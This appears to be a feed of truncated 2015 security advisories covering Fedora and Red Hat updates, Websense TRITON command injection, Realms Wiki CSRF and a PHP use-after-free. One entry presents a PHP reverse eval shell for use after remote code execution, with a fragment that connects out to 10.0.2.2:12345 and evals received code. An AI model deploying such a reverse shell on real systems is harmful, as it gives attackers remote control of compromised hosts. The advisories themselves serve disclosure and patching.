[SECURITY] Fedora 20 Update: perl-Module-Signature-0.78-1.fc20

This package contains a command line tool and module for checking and creat ing SIGNATURE files for Perl CPAN distributions...

Important: Red Hat Security Advisory: Red Hat JBoss Enterprise Application Platform 6.4.0 update

Updated packages that provide Red Hat JBoss Enterprise Application Platform 6.4.0, and fix multiple security issues, several bugs, and add various enhancements, are now available for Red Hat Enterprise Linux 7. Red Hat Product Security has rated this update as having Important security impact...

Important: Red Hat Security Advisory: Red Hat JBoss Enterprise Application Platform 6.4.0 update

Updated packages that provide Red Hat JBoss Enterprise Application Platform 6.4.0, and fix multiple security issues, several bugs, and add various enhancements, are now available for Red Hat Enterprise Linux 6. Red Hat Product Security has rated this update as having Important security impact...

SOL16416 - GNU C library strxfrm/strcoll overflow vulnerabilities

Vulnerability Recommended Actions If the previous table lists a version in the Versions known to be not vulnerable column, you can eliminate this vulnerability by upgrading to the listed version. If the listed version is older than the version you are currently running, or if the table does not...

Juniper Junos Local Elevation of Privilege Vulnerability

Juniper Networks JUNOS is an operating system that runs on Juniper Networks' line of border routers and more. A local elevation of privilege vulnerability exists in Juniper Junos that allows local users to elevate privileges via special CLI commands and parameters...

Apple Mac OS X Rootpipe Hidden Backdoor API Patch

UPDATE: Apple patched the so-called Rootpipe backdoor in OS X, but only in current versions of Yosemite. According to the researcher who found the vulnerability, Apple told him that it would not backport the fix to 10.9.x and older. The vulnerability, located in the OS X Admin framework, was...

PHP reverse eval shell

Сделан для прокидывания через RCE при ограничениях exec и подобному. Использует только fsockopen и eval Форкается если есть pcntlfork PHP код: settimelimit0; if functionexistspcntlfork $pid = pcntlfork; if$pid==1 exit1; if$pid exit0; ifposixsetsid==1 exit1; $sock = fsockopen'10.0.2.2',12345,...

Websense TRITON V-Series appliances cross-site request forgery vulnerability

Websense TRITON is the Unified Content Architecture for data security. A cross-site request forgery vulnerability exists in the Websense TRITON V-Series appliances command line page, which allows attackers to exploit the vulnerability to hijack authentication for unauthorized access...

Websense Triton and V-Series CLU Arbitrary Command Execution Vulnerability

Websense TRITON is the Unified Content Architecture for data security. An arbitrary command execution vulnerability exists in the Network Diagnostic Tool CommandLineServlet in the CLU in Websense TRITON AP-WEB 7.8.3 and V-Series appliances, which could allow a remotely authenticated user to execu...

CVE-2015-2746

The network diagnostics tool CommandLineServlet in the Appliance Manager command line utility CLU in Websense TRITON 7.8.3 and V-Series appliances before 7.8.4 Hotfix 02 allows remote authenticated users to execute arbitrary commands via shell metacharacters in the "second" parameter of a command...

Command injection

The network diagnostics tool CommandLineServlet in the Appliance Manager command line utility CLU in Websense TRITON 7.8.3 and V-Series appliances before 7.8.4 Hotfix 02 allows remote authenticated users to execute arbitrary commands via shell metacharacters in the "second" parameter of a command...

CVE-2015-2746

The CVE-2015-2746 entry applies to Websense TRITON AP-WEB 7.8.3 and V-Series appliances (pre-7.8.4 Hotfix 02). The vulnerability is a command-injection in the Appliance Manager CommandLineServlet where remote authenticated users can inject shell metacharacters via the second parameter (demonstrat...

Realms Wiki Cross Site Request Forgery

CSRF in Realms Wiki Vulnerability Report Mar 19, 2015 Product: Realms Wiki Website: http://realms.io/ Github: https://github.com/scragg0x/realms-wiki CVSS Score: 7.8 AV:N/AC:L/Au:N/C:N/I:C/A:N Realms Wiki is vulnerable to Cross-Site Request Forgery on all posts. Especially of concern are New, Edi...

CVE-2015-0136

powervc-iso-import in IBM PowerVC 1.2.0.x before 1.2.0.4 and 1.2.1.x before 1.2.2 places an access token on the command line during IVM and PowerKVM management, which allows local users to obtain sensitive information by listing the process...

[SECURITY] Fedora 20 Update: xen-4.3.3-12.fc20

This package contains the XenD daemon and xm command line tools, needed to manage virtual machines running under the Xen hypervisor...

oc Arbitrary Command Execution Vulnerability (CNVD-2015-01830)

osc is a command-line interface written in Python, and also provides Python modules for use by Python programs. A security vulnerability exists in versions of osc prior to 0.151.0, which can be exploited by a remote attacker to execute arbitrary commands via shell metacharacters within a...

Websense Appliance Manager - Command Injection

Abstract A command injection vulnerability was found in Websense Appliance Manager that allows an attacker to execute arbitrary code on the appliance. This issue can be combined with other vulnerabilities, like Cross-Site Scripting, to perform a remote unauthenticated attacks to compromise the...

[SECURITY] Fedora 22 Update: ImageMagick-6.8.8.10-9.fc22

ImageMagick is an image display and manipulation tool for the X Window System. ImageMagick can read and write JPEG, TIFF, PNM, GIF, and Photo CD image formats. It can resize, rotate, sharpen, color reduce, or add special effects to an image, and when finished you can either save the completed wor...

USN-2505-2: Firefox regression

USN-2505-1 fixed vulnerabilities in Firefox. This update removed the deprecated "-remote" command-line switch that some older software still depends on. This update fixes the problem. We apologize for the inconvenience. Original advisory details: Matthew Noorenberghe discovered that allowlisted...

Internet Bug Bounty: Use after free vulnerability in unserialize() with DateInterval

Use After Free Vulnerability in unserialize with DateInterval Taoguang Chen - Write Date: 2015.2.28 - Release Date: 2015.3.20 A use-after-free vulnerability was discovered in unserialize with DateInterval object's wakeup magic method that can be abused for leaking arbitrary memory blocks or execu...